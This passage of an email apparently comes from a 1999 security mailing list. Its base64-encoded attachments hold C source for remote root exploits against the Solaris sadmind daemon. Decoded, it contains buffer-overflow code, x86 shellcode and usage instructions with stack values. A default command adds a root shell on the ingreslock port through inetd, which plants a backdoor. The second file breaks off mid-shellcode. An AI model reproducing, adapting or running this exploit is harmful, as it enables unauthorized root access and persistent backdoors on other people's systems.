DQp7DQogICAgaWYgKCF4ZHJfdV9pbnQoeGRycywgJm9ianAtPnVpbnQxKSkN
CglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl91X2ludCh4ZHJzLCAm
b2JqcC0+dWludDIpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRy
X3dyYXBzdHJpbmcoeGRycywgJm9ianAtPnN0cmluZzEpKQ0KCXJldHVybiAo
RkFMU0UpOw0KICAgIHJldHVybiAoVFJVRSk7DQp9DQoNCmludA0KbWFpbihp
bnQgYXJnYywgY2hhciAqYXJndltdKQ0Kew0KICAgIENMSUVOVCAqY2w7DQog
ICAgc3RydWN0IG5tX3NlbmQgc2VuZDsNCiAgICBzdHJ1Y3Qgbm1fcmVwbHkg
cmVwbHk7DQogICAgc3RydWN0IHRpbWV2YWwgdG07DQogICAgZW51bSBjbG50
X3N0YXQgc3RhdDsNCiAgICBpbnQgYywgaSwgbGVuLCBzbGVuLCBjbGVuOw0K
ICAgIGNoYXIgKnByb2dyYW0sICpjcCwgYnVmW0JVRkxFTisxXTsNCiAgICBj
aGFyICpob3N0bmFtZSwgKmNvbW1hbmQ7DQogICAgaW50IG9mZnNldCwgYWxp
Z25tZW50LCBwaW5naW5nID0gMDsNCiAgICB1bnNpZ25lZCBsb25nIGludCBz
cCA9IDAsIGZwLCBhZGRyOw0KDQogICAgcHJvZ3JhbSA9IGFyZ3ZbMF07DQog
ICAgaG9zdG5hbWUgPSAibG9jYWxob3N0IjsNCiAgICBjb21tYW5kID0gImVj
aG8gaW5ncmVzbG9jayBzdHJlYW0gdGNwIG5vd2FpdCByb290IC9iaW4vc2gg
c2ggLWkgPj4gL3RtcC9ib2I7IC91c3Ivc2Jpbi9pbmV0ZCAtcyAvdG1wL2Jv
YiI7DQogICAgb2Zmc2V0ID0gT0ZGU0VUOyBhbGlnbm1lbnQgPSBBTElHTk1F
TlQ7DQogICAgd2hpbGUgKChjID0gZ2V0b3B0KGFyZ2MsIGFyZ3YsICJoOmM6
czpvOmE6cCIpKSAhPSBFT0YpIHsNCglzd2l0Y2ggKGMpIHsNCgljYXNlICdo
JzoNCgkgICAgaG9zdG5hbWUgPSBvcHRhcmc7DQoJICAgIGJyZWFrOw0KCWNh
c2UgJ2MnOg0KCSAgICBjb21tYW5kID0gb3B0YXJnOyANCgkgICAgYnJlYWs7
DQoJY2FzZSAncyc6DQoJICAgIHNwID0gc3RydG91bChvcHRhcmcsIE5VTEws
IDApOw0KCSAgICBicmVhazsNCgljYXNlICdvJzoNCgkgICAgb2Zmc2V0ID0g
KGludCkgc3RydG9sKG9wdGFyZywgTlVMTCwgMCk7DQoJICAgIGJyZWFrOw0K
CWNhc2UgJ2EnOg0KCSAgICBhbGlnbm1lbnQgPSAoaW50KSBzdHJ0b2wob3B0
YXJnLCBOVUxMLCAwKTsNCgkgICAgYnJlYWs7DQoJY2FzZSAncCc6DQoJICAg
IHBpbmdpbmcgPSAxOw0KCSAgICBicmVhazsNCglkZWZhdWx0Og0KCSAgICBm
cHJpbnRmKHN0ZGVyciwgInVzYWdlOiAlcyAtaCBob3N0bmFtZSAtYyBjb21t
YW5kIC1zIHNwICINCgkJICAgICJbLW8gb2Zmc2V0XSBbLWEgYWxpZ25tZW50
XSBbLXBdXG4iLCBwcm9ncmFtKTsNCgkgICAgZXhpdCgxKTsNCgkgICAgYnJl
YWs7DQoJfQ0KICAgIH0NCiAgICBtZW1zZXQoYnVmLCAnXHhmZicsIEJVRkxF
Tik7DQogICAgZnAgPSBzcCArIEZSQU1FTEVOMSArIEZSQU1FTEVOMjsgZnAg
Jj0gMHhmZmZmZmZmODsNCiAgICBhZGRyID0gc3AgKyBvZmZzZXQ7IGFkZHIg
Jj0gMHhmZmZmZmZmYzsNCiAgICBmb3IgKGkgPSAwLCBjcCA9IGJ1ZiArIGFs
aWdubWVudDsgaSA8IEFERFJMRU4gLyA4OyBpKyspIHsNCgkqY3ArKyA9IChm
cCA+PiAyNCkgJiAweGZmOw0KCSpjcCsrID0gKGZwID4+IDE2KSAmIDB4ZmY7
DQoJKmNwKysgPSAoZnAgPj4gIDgpICYgMHhmZjsNCgkqY3ArKyA9IChmcCA+
PiAgMCkgJiAweGZmOw0KCSpjcCsrID0gKGFkZHIgPj4gMjQpICYgMHhmZjsN
CgkqY3ArKyA9IChhZGRyID4+IDE2KSAmIDB4ZmY7DQoJKmNwKysgPSAoYWRk
ciA+PiAgOCkgJiAweGZmOw0KCSpjcCsrID0gKGFkZHIgPj4gIDApICYgMHhm
ZjsNCiAgICB9DQogICAgc2xlbiA9IHN0cmxlbihzaGVsbCk7IGNsZW4gPSBz
dHJsZW4oY29tbWFuZCk7DQogICAgbGVuID0gQlVGTEVOIC0gMSAtIGNsZW4g
LSBzbGVuIC0gQUREUkxFTiAtIGFsaWdubWVudDsgbGVuICY9IDB4ZmZmZmZm
ZmM7DQogICAgZm9yIChpID0gMDsgaSA8IGxlbiAvIDQ7IGkrKykgew0KCSpj
cCsrID0gKE5PUCA+PiAyNCkgJiAweGZmOw0KCSpjcCsrID0gKE5PUCA+PiAx
NikgJiAweGZmOw0KCSpjcCsrID0gKE5PUCA+PiAgOCkgJiAweGZmOw0KCSpj
cCsrID0gKE5PUCA+PiAgMCkgJiAweGZmOw0KICAgIH0NCiAgICBsZW4gPSBj
bGVuOyBsZW4rKzsgbGVuID0gLWxlbjsNCiAgICBzaGVsbFtMRU4rMF0gPSAo
bGVuID4+IDI0KSAmIDB4ZmY7DQogICAgc2hlbGxbTEVOKzFdID0gKGxlbiA+
PiAxNikgJiAweGZmOw0KICAgIHNoZWxsW0xFTisyXSA9IChsZW4gPj4gIDgp
ICYgMHhmZjsNCiAgICBzaGVsbFtMRU4rM10gPSAobGVuID4+ICAwKSAmIDB4
ZmY7DQogICAgbWVtY3B5KGNwLCBzaGVsbCwgc2xlbik7IGNwICs9IHNsZW47
DQogICAgbWVtY3B5KGNwLCBjb21tYW5kLCBjbGVuKTsNCiAgICBidWZbQlVG
TEVOXSA9ICdcMCc7DQogICAgbWVtc2V0KCZzZW5kLCAwLCBzaXplb2Yoc3Ry
dWN0IG5tX3NlbmQpKTsNCiAgICBzZW5kLmhlYWRlci51aW50MiA9IE5FVE1H
VF9IRUFERVJfVFlQRTsNCiAgICBzZW5kLmhlYWRlci5zdHJpbmcxID0gIiI7
DQogICAgc2VuZC5oZWFkZXIuc3RyaW5nMiA9ICIiOw0KICAgIHNlbmQuaGVh
ZGVyLnN0cmluZzMgPSAiIjsNCiAgICBzZW5kLmhlYWRlci51aW50NyA9DQoJ
c3RybGVuKEFETV9GV19WRVJTSU9OKSArIDEgKw0KCSg0ICogc2l6ZW9mKHVu
c2lnbmVkIGludCkpICsgc2l6ZW9mKGludCkgKw0KCXN0cmxlbihBRE1fQ0xJ
RU5UX0RPTUFJTikgKyAxICsNCgkoNCAqIHNpemVvZih1bnNpZ25lZCBpbnQp
KSArIHN0cmxlbihidWYpICsgMSArDQoJc3RybGVuKEFETV9GRU5DRSkgKyAx
ICsNCgkoNCAqIHNpemVvZih1bnNpZ25lZCBpbnQpKSArIHNpemVvZihpbnQp
ICsNCglzdHJsZW4oTkVUTUdUX0VORE9GQVJHUykgKyAxOw0KICAgIHNlbmQu
dmVyc2lvbi5zdHJpbmcxID0gQURNX0ZXX1ZFUlNJT047DQogICAgc2VuZC52
ZXJzaW9uLnVpbnQxID0gTkVUTUdUX0FSR19JTlQ7DQogICAgc2VuZC52ZXJz
aW9uLnVpbnQyID0gc2l6ZW9mKGludCk7DQogICAgc2VuZC52ZXJzaW9uLmlu
dDEgPSAxOw0KICAgIHNlbmQuc3RyaW5nLnN0cmluZzEgPSBBRE1fQ0xJRU5U
X0RPTUFJTjsNCiAgICBzZW5kLnN0cmluZy51aW50MSA9IE5FVE1HVF9BUkdf
U1RSSU5HOw0KICAgIHNlbmQuc3RyaW5nLnVpbnQyID0gc3RybGVuKGJ1Zik7
DQogICAgc2VuZC5zdHJpbmcuc3RyaW5nMiA9IGJ1ZjsNCiAgICBzZW5kLmZl
bmNlLnN0cmluZzEgPSBBRE1fRkVOQ0U7DQogICAgc2VuZC5mZW5jZS51aW50
MSA9IE5FVE1HVF9BUkdfSU5UOw0KICAgIHNlbmQuZmVuY2UudWludDIgPSBz
aXplb2YoaW50KTsNCiAgICBzZW5kLmZlbmNlLmludDEgPSA2NjY7DQogICAg
c2VuZC5mb290ZXIuc3RyaW5nMSA9IE5FVE1HVF9FTkRPRkFSR1M7DQogICAg
Y2wgPSBjbG50X2NyZWF0ZShob3N0bmFtZSwgTkVUTUdUX1BST0csIE5FVE1H
VF9WRVJTLCAidWRwIik7DQogICAgaWYgKGNsID09IE5VTEwpIHsNCgljbG50
X3BjcmVhdGVlcnJvcigiY2xudF9jcmVhdGUiKTsNCglleGl0KDEpOw0KICAg
IH0NCiAgICBjbC0+Y2xfYXV0aCA9IGF1dGh1bml4X2NyZWF0ZSgibG9jYWxo
b3N0IiwgMCwgMCwgMCwgTlVMTCk7DQogICAgaWYgKCFwaW5naW5nKSB7DQoJ
ZnByaW50ZihzdGRvdXQsDQoJCSIlJXNwIDB4JTA4bHggb2Zmc2V0ICVkIC0t
PiByZXR1cm4gYWRkcmVzcyAweCUwOGx4IFslZF1cbiIsDQoJCXNwLCBvZmZz
ZXQsIGFkZHIsIGFsaWdubWVudCk7DQoJZnByaW50ZihzdGRvdXQsDQoJCSIl
JXNwIDB4JTA4bHggd2l0aCBmcmFtZSBsZW5ndGggJWQgLS0+ICUlZnAgMHgl
MDhseFxuIiwNCgkJc3AsIEZSQU1FTEVOMSArIEZSQU1FTEVOMiwgZnApOw0K
CXRtLnR2X3NlYyA9IE5FVE1HVF9VRFBfU0VSVklDRV9USU1FT1VUOyB0bS50
dl91c2VjID0gMDsNCglpZiAoIWNsbnRfY29udHJvbChjbCwgQ0xTRVRfVElN
RU9VVCwgKGNoYXIgKikgJnRtKSkgew0KCSAgICBmcHJpbnRmKHN0ZGVyciwg
ImV4cGxvaXQgZmFpbGVkOyB1bmFibGUgdG8gc2V0IHRpbWVvdXRcbiIpOw0K
CSAgICBleGl0KDEpOw0KCX0NCgl0bS50dl9zZWMgPSBORVRNR1RfVURQX1NF
UlZJQ0VfUkVUUllfVElNRU9VVDsgdG0udHZfdXNlYyA9IDA7DQoJaWYgKCFj
bG50X2NvbnRyb2woY2wsIENMU0VUX1JFVFJZX1RJTUVPVVQsIChjaGFyICop
ICZ0bSkpIHsNCgkgICAgZnByaW50ZihzdGRlcnIsICJleHBsb2l0IGZhaWxl
ZDsgdW5hYmxlIHRvIHNldCB0aW1lb3V0XG4iKTsNCgkgICAgZXhpdCgxKTsN
Cgl9DQoJc3RhdCA9IGNsbnRfY2FsbChjbCwgTkVUTUdUX1BST0NfU0VSVklD
RSwNCgkJCSB4ZHJfbm1fc2VuZCwgKGNhZGRyX3QpICZzZW5kLA0KCQkJIHhk
cl9ubV9yZXBseSwgKGNhZGRyX3QpICZyZXBseSwgdG0pOw0KCWlmIChzdGF0
ICE9IFJQQ19TVUNDRVNTKSB7DQoJICAgIGNsbnRfcGVycm9yKGNsLCAiY2xu
dF9jYWxsIik7DQoJICAgIGZwcmludGYoc3Rkb3V0LCAibm93IGNoZWNrIGlm
IGV4cGxvaXQgd29ya2VkOyAiDQoJCSAgICAiUlBDIGZhaWx1cmUgd2FzIGV4
cGVjdGVkXG4iKTsNCgkgICAgZXhpdCgwKTsNCgl9DQoJZnByaW50ZihzdGRl
cnIsICJleHBsb2l0IGZhaWxlZDsgIg0KCQkiUlBDIHN1Y2NlZWRlZCBhbmQg
cmV0dXJuZWQgeyAldSwgJXUsIFwiJXNcIiB9XG4iLA0KCQlyZXBseS51aW50
MSwgcmVwbHkudWludDIsIHJlcGx5LnN0cmluZzEpOw0KCWNsbnRfZGVzdHJv
eShjbCk7DQoJZXhpdCgxKTsNCiAgICB9IGVsc2Ugew0KCXRtLnR2X3NlYyA9
IE5FVE1HVF9VRFBfUElOR19USU1FT1VUOyB0bS50dl91c2VjID0gMDsNCglp
ZiAoIWNsbnRfY29udHJvbChjbCwgQ0xTRVRfVElNRU9VVCwgKGNoYXIgKikg
JnRtKSkgew0KCSAgICBmcHJpbnRmKHN0ZGVyciwgImV4cGxvaXQgZmFpbGVk
OyB1bmFibGUgdG8gc2V0IHRpbWVvdXRcbiIpOw0KCSAgICBleGl0KDEpOw0K
CX0NCgl0bS50dl9zZWMgPSBORVRNR1RfVURQX1BJTkdfUkVUUllfVElNRU9V
VDsgdG0udHZfdXNlYyA9IDA7DQoJaWYgKCFjbG50X2NvbnRyb2woY2wsIENM
U0VUX1JFVFJZX1RJTUVPVVQsIChjaGFyICopICZ0bSkpIHsNCgkgICAgZnBy
aW50ZihzdGRlcnIsICJleHBsb2l0IGZhaWxlZDsgdW5hYmxlIHRvIHNldCB0
aW1lb3V0XG4iKTsNCgkgICAgZXhpdCgxKTsNCgl9DQoJc3RhdCA9IGNsbnRf
Y2FsbChjbCwgTkVUTUdUX1BST0NfUElORywNCgkJCSB4ZHJfdm9pZCwgTlVM
TCwNCgkJCSB4ZHJfdm9pZCwgTlVMTCwgdG0pOw0KCWlmIChzdGF0ICE9IFJQ
Q19TVUNDRVNTKSB7DQoJICAgIGNsbnRfcGVycm9yKGNsLCAiY2xudF9jYWxs
Iik7DQoJICAgIGV4aXQoMSk7DQoJfQ0KCWNsbnRfZGVzdHJveShjbCk7DQoJ
ZXhpdCgwKTsNCiAgICB9DQp9DQo=

--0-1957747793-944864183=:20191
Content-Type: application/x-unknown-content-type-txtfile; name="sadmindex-x86.c"
Content-Transfer-Encoding: base64
Content-Description: sadmindex-x86.c
Content-Disposition: attachment; filename="sadmindex-x86.c"

LyoqDQoqKiogIHNhZG1pbmRleCAtIGkzODYgU29sYXJpcyByZW1vdGUgcm9v
dCBleHBsb2l0IGZvciAvdXNyL3NiaW4vc2FkbWluZA0KKioqDQoqKiogIFRl
c3RlZCBhbmQgY29uZmlybWVkIHVuZGVyIFNvbGFyaXMgMi42IGFuZCA3LjAg
KGkzODYpDQoqKioNCioqKiAgVXNhZ2U6ICAlIHNhZG1pbmRleCAtaCBob3N0
bmFtZSAtYyBjb21tYW5kIC1zIHNwIC1qIGp1bmsgWy1vIG9mZnNldF0gXA0K
KioqICAgICAgICAgICAgICAgICAgICAgIFstYSBhbGlnbm1lbnRdIFstcF0N
CioqKg0KKioqICB3aGVyZSBob3N0bmFtZSBpcyB0aGUgaG9zdG5hbWUgb2Yg
dGhlIG1hY2hpbmUgcnVubmluZyB0aGUgdnVsbmVyYWJsZQ0KKioqICBzeXN0
ZW0gYWRtaW5pc3RyYXRpb24gZGFlbW9uLCBjb21tYW5kIGlzIHRoZSBjb21t
YW5kIHRvIHJ1biBhcyByb290DQoqKiogIG9uIHRoZSB2dWxuZXJhYmxlIG1h
Y2hpbmUsIHNwIGlzIHRoZSAlZXNwIHN0YWNrIHBvaW50ZXIgdmFsdWUsIGp1
bmsNCioqKiAgaXMgdGhlIG51bWJlciBvZiBieXRlcyBuZWVkZWQgdG8gZmls
bCB0aGUgdGFyZ2V0IHN0YWNrIGZyYW1lICh3aGljaA0KKioqICBzaG91bGQg
YmUgYSBtdWx0aXBsZSBvZiA0KSwgb2Zmc2V0IGlzIHRoZSBudW1iZXIgb2Yg
Ynl0ZXMgdG8gYWRkIHRvDQoqKiogIHNwIHRvIGNhbGN1bGF0ZSB0aGUgZGVz
aXJlZCByZXR1cm4gYWRkcmVzcywgYW5kIGFsaWdubWVudCBpcyB0aGUNCioq
KiAgbnVtYmVyIG9mIGJ5dGVzIG5lZWRlZCB0byBjb3JyZWN0bHkgYWxpZ24g
dGhlIGNvbnRlbnRzIG9mIHRoZSBleHBsb2l0DQoqKiogIGJ1ZmZlci4NCioq
Kg0KKioqICBJZiBydW4gd2l0aCBhIC1wIG9wdGlvbiwgdGhlIGV4cGxvaXQg
d2lsbCBvbmx5ICJwaW5nIiBzYWRtaW5kIG9uIHRoZQ0KKioqICByZW1vdGUg
bWFjaGluZSB0byBzdGFydCBpdCBydW5uaW5nLiAgVGhlIGRhZW1vbiB3aWxs
IGJlIG90aGVyd2lzZQ0KKioqICB1bnRvdWNoZWQuICBTaW5jZSBwaW5naW5n
IHRoZSBkYWVtb24gZG9lcyBub3QgcmVxdWlyZSBhbiBleHBsb2l0DQoqKiog
IGJ1ZmZlciB0byBiZSBjb25zdHJ1Y3RlZCwgeW91IGNhbiBzYWZlbHkgb21p
dCB0aGUgLWMsIC1zLCBhbmQgLWoNCioqKiAgb3B0aW9ucyBpZiB5b3UgdXNl
IC1wLg0KKioqDQoqKiogIFdoZW4gc3BlY2lmeWluZyBhIGNvbW1hbmQsIGJl
IHN1cmUgdG8gcGFzcyBpdCB0byB0aGUgZXhwbG9pdCBhcyBhDQoqKiogIHNp
bmdsZSBhcmd1bWVudCwgbmFtZWx5IGVuY2xvc2UgdGhlIGNvbW1hbmQgc3Ry
aW5nIGluIHF1b3RlcyBpZiBpdA0KKioqICBjb250YWlucyBzcGFjZXMgb3Ig
b3RoZXIgc3BlY2lhbCBzaGVsbCBkZWxpbWl0ZXIgY2hhcmFjdGVycy4gIFRo
ZQ0KKioqICBleHBsb2l0IHdpbGwgcGFzcyB0aGlzIHN0cmluZyB3aXRob3V0
IG1vZGlmaWNhdGlvbiB0byAvYmluL3NoIC1jIG9uDQoqKiogIHRoZSByZW1v
dGUgbWFjaGluZSwgc28gYW55IG5vcm1hbGx5IGFsbG93ZWQgQm91cm5lIHNo
ZWxsIHN5bnRheCBpcw0KKioqICBhbHNvIGFsbG93ZWQgaW4gdGhlIGNvbW1h
bmQgc3RyaW5nLiAgVGhlIGNvbW1hbmQgc3RyaW5nIGFuZCB0aGUNCioqKiAg
YXNzZW1ibHkgY29kZSB0byBydW4gaXQgbXVzdCBmaXQgaW5zaWRlIGEgYnVm
ZmVyIG9mIDUxMiBieXRlcywgc28NCioqKiAgdGhlIGNvbW1hbmQgc3RyaW5n
IGhhcyBhIG1heGltdW0gbGVuZ3RoIG9mIGFib3V0IDM5MCBieXRlcyBvciBz
by4NCioqKg0KKioqICBJIGhhdmUgcHJvdmlkZWQgY29uZmlybWVkICVlc3Ag
c3RhY2sgcG9pbnRlciB2YWx1ZXMgZm9yIFNvbGFyaXMgb24gYQ0KKioqICBQ
ZW50aXVtIFBDIHN5c3RlbSBydW5uaW5nIFNvbGFyaXMgMi42IDUvOTggYW5k
IG9uIGEgUGVudGl1bSBQQyBzeXN0ZW0NCioqKiAgcnVubmluZyBTb2xhcmlz
IDcuMCAxMC85OC4gIE9uIGVhY2ggc3lzdGVtLCBzYWRtaW5kIHdhcyBzdGFy
dGVkIGZyb20NCioqKiAgYW4gaW5zdGFuY2Ugb2YgaW5ldGQgdGhhdCB3YXMg
c3RhcnRlZCBhdCBib290IHRpbWUgYnkgaW5pdC4gIFRoZXJlDQoqKiogIGlz
IGEgZmFpciBwb3NzaWJpbGl0eSB0aGF0IHRoZSBkZW1vbnN0cmF0aW9uIHZh
bHVlcyB3aWxsIG5vdCB3b3JrDQoqKiogIGR1ZSB0byBkaWZmZXJpbmcgc2V0
cyBvZiBlbnZpcm9ubWVudCB2YXJpYWJsZXMsIGZvciBleGFtcGxlIGlmIHRo
ZQ0KKioqICB0aGUgcnVubmluZyBpbmV0ZCBvbiB0aGUgcmVtb3RlIG1hY2hp
bmUgd2FzIHN0YXJ0ZWQgbWFudWFsbHkgZnJvbSBhbg0KKioqICBpbnRlcmFj
dGl2ZSBzaGVsbC4gIElmIHlvdSBmaW5kIHRoYXQgdGhlIHNhbXBsZSB2YWx1
ZSBmb3IgJWVzcCBkb2VzDQoqKiogIG5vdCB3b3JrLCB0cnkgYWRqdXN0aW5n
IHRoZSB2YWx1ZSBieSAtMjA0OCB0byAyMDQ4IGZyb20gdGhlIHNhbXBsZSBp
bg0KKioqICBpbmNyZW1lbnRzIG9mIDMyIGZvciBzdGFydGVycy4gIFRoZSBq
dW5rIHBhcmFtZXRlciBzZWVtcyB0byB2YXJ5IGZyb20NCioqKiAgdmVyc2lv
biB0byB2ZXJzaW9uLCBidXQgdGhlIHNhbXBsZSB2YWx1ZXMgc2hvdWxkIGJl
IGFwcHJvcHJpYXRlIGZvcg0KKioqICB0aGUgbGlzdGVkIHZlcnNpb25zIGFu
ZCBhcmUgbm90IGxpa2VseSB0byBuZWVkIGFkanVzdG1lbnQuICBUaGUgb2Zm
c2V0DQoqKiogIHBhcmFtZXRlciBhbmQgdGhlIGFsaWdubWVudCBwYXJhbWV0
ZXIgaGF2ZSBkZWZhdWx0IHZhbHVlcyB0aGF0IHdpbGwgYmUNCioqKiAgdXNl
ZCBpZiBubyBvdmVycmlkaW5nIHZhbHVlcyBhcmUgc3BlY2lmaWVkIG9uIHRo
ZSBjb21tYW5kIGxpbmUuICBUaGUNCioqKiAgZGVmYXVsdCB2YWx1ZXMgc2hv
dWxkIGJlIHN1aXRhYmxlIGFuZCBpdCB3aWxsIG5vdCBsaWtlbHkgYmUgbmVj
ZXNzYXJ5DQoqKiogIHRvIG92ZXJyaWRlIHRoZW0uDQoqKioNCioqKiAgRGVt
b25zdHJhdGlvbiB2YWx1ZXMgZm9yIGkzODYgU29sYXJpczoNCioqKg0KKioq
ICAoMi42KSAgc2FkbWluZGV4IC1oIGhvc3QuZXhhbXBsZS5jb20gLWMgInRv
dWNoIEhFSCIgLXMgMHgwODA0MThlYyAtaiA1MTINCioqKiAgKDcuMCkgIHNh
ZG1pbmRleCAtaCBob3N0LmV4YW1wbGUuY29tIC1jICJ0b3VjaCBIRUgiIC1z
IDB4MDgwNDE3OTggLWogNTM2DQoqKioNCioqKiAgVEhJUyBDT0RFIEZPUiBF
RFVDQVRJT05BTCBVU0UgT05MWSBJTiBBTiBFVEhJQ0FMIE1BTk5FUg0KKioq
DQoqKiogIENoZWV6IFdoaXoNCioqKiAgY2hlZXpiZWFzdEBob3RtYWlsLmNv
bQ0KKioqDQoqKiogIEp1bmUgMjQsIDE5OTkNCioqLw0KDQojaW5jbHVkZSA8
c3RkbGliLmg+DQojaW5jbHVkZSA8c3RkaW8uaD4NCiNpbmNsdWRlIDx1bmlz
dGQuaD4NCiNpbmNsdWRlIDxzdHJpbmcuaD4NCiNpbmNsdWRlIDxycGMvcnBj
Lmg+DQoNCiNkZWZpbmUgTkVUTUdUX1BST0cgMTAwMjMyDQojZGVmaW5lIE5F
VE1HVF9WRVJTIDEwDQojZGVmaW5lIE5FVE1HVF9QUk9DX1BJTkcgMA0KI2Rl
ZmluZSBORVRNR1RfUFJPQ19TRVJWSUNFIDENCg0KI2RlZmluZSBORVRNR1Rf
VURQX1BJTkdfVElNRU9VVCAzMA0KI2RlZmluZSBORVRNR1RfVURQX1BJTkdf
UkVUUllfVElNRU9VVCA1DQojZGVmaW5lIE5FVE1HVF9VRFBfU0VSVklDRV9U
SU1FT1VUIDENCiNkZWZpbmUgTkVUTUdUX1VEUF9TRVJWSUNFX1JFVFJZX1RJ
TUVPVVQgMg0KDQojZGVmaW5lIE5FVE1HVF9IRUFERVJfVFlQRSA2DQojZGVm
aW5lIE5FVE1HVF9BUkdfSU5UIDMNCiNkZWZpbmUgTkVUTUdUX0FSR19TVFJJ
TkcgOQ0KI2RlZmluZSBORVRNR1RfRU5ET0ZBUkdTICJuZXRtZ3RfZW5kb2Zh
cmdzIg0KDQojZGVmaW5lIEFETV9GV19WRVJTSU9OICJBRE1fRldfVkVSU0lP
TiINCiNkZWZpbmUgQURNX0NMSUVOVF9ET01BSU4gIkFETV9DTElFTlRfRE9N
QUlOIg0KI2RlZmluZSBBRE1fRkVOQ0UgIkFETV9GRU5DRSINCg0KI2RlZmlu
ZSBCVUZMRU4gMTA1NgkJLyogNTQ4KzgrNTEyLTEyICovDQojZGVmaW5lIEFE
RFJMRU4JOA0KI2RlZmluZSBMRU4gNzYNCg0KLyogI2RlZmluZSBKVU5LIDUx
MiAqLwkJLyogNTI0LTEyIChTb2xhcmlzIDIuNikgKi8NCi8qICNkZWZpbmUg
SlVOSyA1MzYgKi8JCS8qIDU0OC0xMiAoU29sYXJpcyA3LjApICovDQojZGVm
aW5lIE9GRlNFVCA1NzIJCS8qIGRlZmF1bHQgb2Zmc2V0ICovDQojZGVmaW5l
IEFMSUdOTUVOVCAwCQkvKiBkZWZhdWx0IGFsaWdubWVudCAqLw0KDQojZGVm
aW5lIE5PUCAweDkwDQoNCmNoYXIgc2hlbGxbXSA9DQovKiAgIDAgKi8gIlx4
ZWJceDQ1IiAgICAgICAgICAgICAgICAgICAgICAgICAvKiBqbXAgc3ByaW5n
Ym9hcmQgICAgICAgKi8NCi8qIHN5c2NhbGw6ICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqLw0K
LyogICAyICovICJceDlhXHhmZlx4ZmZceGZmXHhmZlx4MDdceGZmIiAgICAg
LyogbGNhbGwgMHg3LDB4MCAgICAgICAgICovDQovKiAgIDkgKi8gIlx4YzMi
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKiByZXQgICAgICAgICAg
ICAgICAgICAgKi8NCi8qIHN0YXJ0OiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqLw0KLyog
IDEwICovICJceDVlIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyog
cG9wbCAlZXNpICAgICAgICAgICAgICovDQovKiAgMTEgKi8gIlx4MzFceGMw
IiAgICAgICAgICAgICAgICAgICAgICAgICAvKiB4b3IgJWVheCwlZWF4ICAg
ICAgICAgKi8NCi8qICAxMyAqLyAiXHg4OVx4NDZceGI3IiAgICAgICAgICAg
ICAgICAgICAgIC8qIG1vdmwgJWVheCwtMHg0OSglZXNpKSAqLw0KLyogIDE2
ICovICJceDg4XHg0Nlx4YmMiICAgICAgICAgICAgICAgICAgICAgLyogbW92
YiAlYWwsLTB4NDQoJWVzaSkgICovDQovKiBleGVjdmU6ICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgKi8NCi8qICAxOSAqLyAiXHgzMVx4YzAiICAgICAgICAgICAgICAgICAg
ICAgICAgIC8qIHhvciAlZWF4LCVlYXggICAgICAgICAqLw0KLyogIDIxICov
ICJceDUwIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogcHVzaGwg
JWVheCAgICAgICAgICAgICovDQovKiAgMjIgKi8gIlx4NTYiICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAvKiBwdXNobCAlZXNpICAgICAgICAgICAg
Ki8NCi8qICAyMyAqLyAiXHg4Ylx4MWUiICAgICAgICAgICAgICAgICAgICAg
ICAgIC8qIG1vdmwgKCVlc2kpLCVlYnggICAgICAqLw0KLyogIDI1ICovICJc
eGY3XHhkYiIgICAgICAgICAgICAgICAgICAgICAgICAgLyogbmVnbCAlZWJ4
ICAgICAgICAgICAgICovDQovKiAgMjcgKi8gIlx4ODlceGY3IiAgICAgICAg
ICAgICAgICAgICAgICAgICAvKiBtb3ZsICVlc2ksJWVkaSAgICAgICAgKi8N
Ci8qICAyOSAqLyAiXHg4M1x4YzdceDEwIiAgICAgICAgICAgICAgICAgICAg
IC8qIGFkZGwgJDB4MTAsJWVkaSAgICAgICAqLw0KLyogIDMyICovICJceDU3
IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogcHVzaGwgJWVkaSAg
ICAgICAgICAgICovDQovKiAgMzMgKi8gIlx4ODlceDNlIiAgICAgICAgICAg
ICAgICAgICAgICAgICAvKiBtb3ZsICVlZGksKCVlc2kpICAgICAgKi8NCi8q
ICAzNSAqLyAiXHg4M1x4YzdceDA4IiAgICAgICAgICAgICAgICAgICAgIC8q
IGFkZGwgJDB4OCwlZWRpICAgICAgICAqLw0KLyogIDM4ICovICJceDg4XHg0
N1x4ZmYiICAgICAgICAgICAgICAgICAgICAgLyogbW92YiAlYWwsLTB4MSgl
ZWRpKSAgICovDQovKiAgNDEgKi8gIlx4ODlceDdlXHgwNCIgICAgICAgICAg
ICAgICAgICAgICAvKiBtb3ZsICVlZGksMHg0KCVlc2kpICAgKi8NCi8qICA0
NCAqLyAiXHg4M1x4YzdceDAzIiAgICAgICAgICAgICAgICAgICAgIC8qIGFk
ZGwgJDB4MywlZWRpICAgICAgICAqLw0KLyogIDQ3ICovICJceDg4XHg0N1x4
ZmYiICAgICAgICAgICAgICAgICAgICAgLyogbW92YiAlYWwsLTB4MSglZWRp
KSAgICovDQovKiAgNTAgKi8gIlx4ODlceDdlXHgwOCIgICAgICAgICAgICAg
ICAgICAgICAvKiBtb3ZsICVlZGksMHg4KCVlc2kpICAgKi8NCi8qICA1MyAq
LyAiXHgwMVx4ZGYiICAgICAgICAgICAgICAgICAgICAgICAgIC8qIGFkZGwg
JWVieCwlZWRpICAgICAgICAqLw0KLyogIDU1ICovICJceDg4XHg0N1x4ZmYi
ICAgICAgICAgICAgICAgICAgICAgLyogbW92YiAlYWwsLTB4MSglZWRpKSAg
ICovDQovKiAgNTggKi8gIlx4ODlceDQ2XHgwYyIgICAgICAgICAgICAgICAg
ICAgICAvKiBtb3ZsICVlYXgsMHhjKCVlc2kpICAgKi8NCi8qICA2MSAqLyAi
XHhiMFx4M2IiICAgICAgICAgICAgICAgICAgICAgICAgIC8qIG1vdmIgJDB4
M2IsJWFsICAgICAgICAqLw0KLyogIDYzICovICJceGU4XHhiZVx4ZmZceGZm
XHhmZiIgICAgICAgICAgICAgLyogY2FsbCBzeXNjYWxsICAgICAgICAgICov
